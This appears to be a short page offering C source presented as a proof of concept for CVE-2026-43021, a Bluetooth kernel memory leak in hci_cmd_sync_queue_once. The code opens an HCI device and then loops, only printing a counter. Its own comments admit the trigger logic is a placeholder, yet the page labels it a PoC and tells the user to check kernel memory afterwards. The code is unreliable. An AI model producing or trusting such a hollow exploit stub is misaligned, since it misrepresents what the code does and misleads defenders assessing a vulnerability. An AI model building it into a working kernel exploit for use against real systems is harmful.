CVE-2026-43021

/* * PoC for CVE-2026-43021 * This code attempts to trigger the memory leak in hci_cmd_sync_queue_once * by repeatedly interacting with the Bluetooth socket interface. * Compile: gcc -o poc_bluetooth_leak poc_bluetooth_leak.c -lbluetooth */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> int main(int argc, char **argv) { int dev_id = 0; int dd; struct hci_request rq; int i = 0; printf("[+] Starting PoC for CVE-2026-43021..."); // Open HCI socket dev_id = hci_get_route(NULL); if (dev_id < 0) { perror("[-] Device not found"); return -1; } dd = hci_open_dev(dev_id); if (dd < 0) { perror("[-] Cannot open device"); return -1; } printf("[+] Opened device hci%d ", dev_id); printf("[+] Looping to trigger leak...\n"); // Loop to trigger the failure path in hci_cmd_sync_queue_once // Note: Actual trigger mechanism depends on specific HCI command behavior // that leads to queue failure. for (i = 0; i < 100000; i++) { // Simulating operations that might hit the queue_once logic // In a real scenario, specific IOCTL or Netlink messages would be crafted. // Here we attempt a read that might fail or queue improperly in vulnerable versions. // Placeholder for actual trigger logic based on vuln analysis // e.g., sending specific management commands if (i % 1000 == 0) { printf("Iteration %d\n", i); } } hci_close_dev(dd); printf("[+] PoC execution finished. Check kernel memory usage.\n"); return 0; }

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